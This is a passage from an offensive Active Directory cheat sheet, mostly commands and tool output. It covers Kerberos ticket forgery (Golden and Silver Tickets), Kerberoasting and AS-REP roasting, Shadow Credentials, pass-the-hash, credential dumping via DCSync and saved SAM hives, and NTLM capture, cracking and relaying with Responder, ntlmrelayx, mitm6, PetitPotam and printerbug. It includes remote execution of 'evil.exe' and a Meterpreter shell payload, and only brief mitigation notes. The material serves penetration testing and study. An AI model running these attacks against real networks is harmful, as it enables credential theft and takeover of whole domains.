   * ldapsearch
      ```bash
      ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
      ```
     
### Pass-the-Ticket Golden Tickets

Forging a TGT require the `krbtgt` NTLM hash

> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.

#### Using Mimikatz

```powershell
# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

#### Using Meterpreter 

```powershell
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

#### Using a ticket on Linux

```powershell
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.

```powershell
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```


Mitigations:
* Hard to detect because they are legit TGT tickets
* Mimikatz generate a golden ticket with a life-span of 10 years

### Pass-the-Ticket Silver Tickets

Forging a TGS require machine account password (key) or NTLM hash of the service account.

```powershell
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

Interesting services to target with a silver ticket :

| Service Type                                | Service Silver Tickets | Attack |
|---------------------------------------------|------------------------|--------|
| WMI                                         | HOST + RPCSS           | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"`     |
| PowerShell Remoting                         | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| WinRM                                       | HTTP + wsman           | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| Scheduled Tasks                             | HOST                   | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
| Windows File Share (CIFS)                   | CIFS                   | `dir \\dc01\c$` |
| LDAP operations including Mimikatz DCSync   | LDAP                   | `lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt` |
| Windows Remote Server Administration Tools  | RPCSS   + LDAP  + CIFS | /      |


Mitigations:
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.

### Kerberoasting

> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)

Any valid domain user can request a kerberos ticket (TGS) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.


* [GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite
  ```powershell
  $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

  Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

  ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
  --------------------  -------------  --------------------------------------------------------  -------------------  -------------------
  active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 

  $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
  ```

* CrackMapExec Module
  ```powershell
  $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
  LDAP        10.0.2.11       389    dc01           [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
  LDAP        10.0.2.11       389    dc01           $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
  ```

* [Rubeus](https://github.com/GhostPack/Rubeus)
  ```powershell
  # Stats
  Rubeus.exe kerberoast /stats
  -------------------------------------   ----------------------------------
  | Supported Encryption Type | Count |  | Password Last Set Year | Count |
  -------------------------------------  ----------------------------------
  | RC4_HMAC_DEFAULT          | 1     |  | 2021                   | 1     |
  -------------------------------------  ----------------------------------

  # Kerberoast (RC4 ticket)
  Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt

  # Kerberoast (AES ticket)
  # Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
  Rubeus.exe kerberoast /tgtdeleg

  # Kerberoast (RC4 ticket)
  # The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
  Rubeus.exe kerberoast /rc4opsec
  ```

* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
  ```powershell
  Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
  ```

* [bifrost](https://github.com/its-a-feature/bifrost) on **macOS** machine
  ```powershell
  ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
  ```

* [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
  ```powershell
  # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), 
  # print the "kerberoast" hash, and delete the temporary SPN set for that operation
  targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
  ``` 


Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`) 
	
| Mode    | Description  |
|---------|--------------|
| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) |
| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |

```powershell
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
```


Mitigations: 
* Have a very long password for your accounts with SPNs (> 32 characters)
* Make sure no users have SPNs

### KRB_AS_REP Roasting

> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

**Requirements**:
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)

* [Rubeus](https://github.com/GhostPack/Rubeus)
  ```powershell
  C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
  [*] Action: AS-REP roasting
  [*] Target User            : TestOU3user
  [*] Target Domain          : testlab.local
  [*] SamAccountName         : TestOU3user
  [*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
  [*] Using domain controller: testlab.local (192.168.52.100)
  [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
  [*] Connecting to 192.168.52.100:88
  [*] Sent 169 bytes
  [*] Received 1437 bytes
  [+] AS-REQ w/o preauth successful!
  [*] AS-REP hash:

  $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
  ```

* [GetNPUsers](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from Impacket Suite
  ```powershell
  $ python GetNPUsers.py htb.local/svc-alfresco -no-pass
  [*] Getting TGT for svc-alfresco
  $krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4

  # extract hashes
  root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
  root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
  ```

* CrackMapExec Module
  ```powershell
  $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
  LDAP        10.0.2.11       389    dc01           $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
  ```

Using `hashcat` or `john` to crack the ticket.

```powershell
# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt

# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
```

**Mitigations**: 
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).


### Shadow Credentials

> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user.

:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

**Requirements**:
* Domain Controller on (at least) Windows Server 2016
* PKINIT Kerberos authentication
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object

**Exploitation**: 
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
  ```powershell
  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  Whisker.exe list /target:computername$
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
  Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
  # Removes a key credential from the target object specified by a DeviceID GUID.
  Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
  ```

- From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
  ```bash
  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
  # Removes a key credential from the target object specified by a DeviceID GUID.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
  ```

**Scenario**:

- Scenario: Shadow Credential relaying
  - Trigger an NTLM authentication from `DC01` (PetitPotam)
  - Relay it to `DC02` (ntlmrelayx)
  - Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
  - Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
- Scenario: Workstation Takeover with RBCD
  ```ps1
  # Only for C2: Add Reverse Port Forward from 8081 to Team Server 81

  # Set up ntlmrelayx to relay authentication from target workstation to DC 
  proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81

  # Execute printer bug to trigger authentication from target workstation 
  proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file

  # Get a TGT using the newly acquired certificate via PKINIT 
  proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

  # Get a TGS for the target account 
  proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v

  # Utilize the TGS for future activity 
  export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
  proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
  ```

### Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

* Metasploit
  ```powershell
  use exploit/windows/smb/psexec
  set RHOST 10.2.0.3
  set SMBUser jarrieta
  set SMBPass nastyCutt3r  
  # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
  # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
  set PAYLOAD windows/meterpreter/bind_tcp
  run
  shell
  ```
* CrackMapExec
  ```powershell
  cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
  ```
* Impacket suite
  ```powershell
  proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
  ```
* Windows RDP and mimikatz
  ```powershell
  sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
  sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"
  ```

You can extract the local **SAM database** to find the local administrator hash :

```powershell
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```


### OverPass-the-Hash (pass the key)

In this technique, instead of passing the hash directly, we use the NTLM hash of an account to request a valid Kerberost ticket (TGT).

#### Using impacket

```bash
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass

# also with the AES Key if you have it
root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist
```

#### Using Rubeus

```powershell
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```

### UnPAC The Hash

* Windows
    ```ps1
    # request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
    C:/> Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    ```
* Linux
    ```ps1
    # obtain a TGT by validating a PKINIT pre-authentication
    $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    
    # use the session key to recover the NT hash
    $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
    ```

### Capturing and cracking Net-NTLMv1/NTLMv1 hashes

> Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash. 

:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.

**Requirements**:
* LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)

**Exploitation**:
* Capturing using Responder: Edit the /etc/responder/Responder.conf file to include the magical **1122334455667788** challenge
    ```ps1
    HTTPS = On
    DNS = On
    LDAP = On
    ...
    ; Custom challenge.
    ; Use "Random" for generating a random challenge for each requests (Default)
    Challenge = 1122334455667788
    ```
* Fire Responder: `responder -I eth0 --lm`
* Force a callback:
    ```ps1
    PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
    PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
    ```
* If you got some `NTLMv1 hashes`, you need to format them to submit them on [crack.sh](https://crack.sh/netntlm/)
    ```ps1
    username::hostname:response:response:challenge -> NTHASH:response
    NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
    ```
* Or crack them with Hashcat / John The Ripper
    ```ps1
    john --format=netntlm hash.txt
    hashcat -m 5500 -a 3 hash.txt
    ```
* Now you can DCSync using the Pass-The-Hash with the DC machine account

:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.


**Mitigations**: 

* Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM`

### Capturing and cracking Net-NTLMv2/NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.

```powershell
# https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrd -P -v

# https://github.com/Kevin-Robertson/InveighZero
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]

# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
```

Crack the hashes with Hashcat / John The Ripper

```ps1
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```


### Man-in-the-Middle attacks & relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

| Hash                 | Hashcat | Attack method       |
|---|---|---|
| LM                    | `3000`  | crack/pass the hash  |
| NTLM/NTHash           | `1000`  | crack/pass the hash  |
| NTLMv1/Net-NTLMv1     | `5500`  | crack/relay attack   |
| NTLMv2/Net-NTLMv2     | `5600`  | crack/relay attack   |

Crack the hash with `hashcat`.

```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

#### MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

* https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068

```powershell
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```

#### SMB Signing Disabled and IPv4

If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning**

1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
    ```powershell
    [Responder Core]
    ; Servers to start
    ...
    SMB = Off     # Turn this off
    HTTP = Off    # Turn this off
    ```
2. Run `python  RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>` 
4. Use a relay tool such as `ntlmrelayx` or `MultiRelay`
    - `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list. 
    - `python MultiRelay.py -t <target_machine_IP> -u ALL`
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
    ```powershell
    $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
    [*] Servers started, waiting for connections
    Type help for list of commands
    ntlmrelayx> socks
    Protocol  Target          Username                  Port
    --------  --------------  ------------------------  ----
    MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
    SMB       192.168.48.230  CONTOSO/NORMALUSER1       445
    MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433

    # You might need to select a target with "-t"
    impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
    impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support

    # the socks proxy can then be used with your Impacket tools or CrackMapExec
    $ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
    $ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
    $ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"   
    ```

**Mitigations**:

 * Disable LLMNR via group policy
    ```powershell
    Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
    ```
 * Disable NBT-NS
    ```powershell
    This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP
    ```

#### SMB Signing Disabled and IPv6

Since [MS16-077](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077) the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

```powershell
crackmapexec smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to. 
impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```

#### Drop the MIC

> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)

```powershell
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
```

- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
    ```powershell
    TERM1> python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>
    TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
    TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
    ```


- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
    ```powershell
    # create a new machine account
    TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
    TERM2> python printerbug.py relaytest.local/testuser@second-dc-server 10.0.2.6
    TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME

    # connect using the ticket
    export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
    secretsdump.py -k -no-pass second-dc-server.local -just-dc
    ```

#### Ghost Potato - CVE-2019-1384

Requirements:
* User must be a member of the local Administrators group
* User must be a member of the Backup Operators group
* Token must be elevated

Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip

```powershell
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```

#### RemotePotato0 DCOM DCE RPC relay 

> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine

Requirements:
- a shell in session 0 (e.g. WinRm shell or SSH shell)
- a privileged user is logged on in the session 1 (e.g. a Domain Admin user)

```powershell
# https://github.com/antonioCoco/RemotePotato0/
Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016
Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
```


#### DNS Poisonning - Relay delegation with mitm6

Requirements: 
- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)

> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

```powershell
git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events
# -hw: host whitelist

ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to

# now granting delegation rights and then do a RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator  
export KRB5CCNAME=administrator.ccache  
secretsdump.py -k -no-pass target.lab.local  
```

#### Relaying with WebDav Trick

> Example of exploitation where you can coerce machine accounts to authenticate to a host annd combine it with Resource Based Constrained Delegation to gain elevated access.

**Requirement**:
*  WebClient service

**Exploitation**:
* Disable HTTP in Responder: `sudo vi /usr/share/responder/Responder.conf`
* Generate a Windows machine name: `sudo responder -I eth0`, e.g: WIN-UBNW4FI3AP0
* Prepare for RBCD against the DC: `python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support`
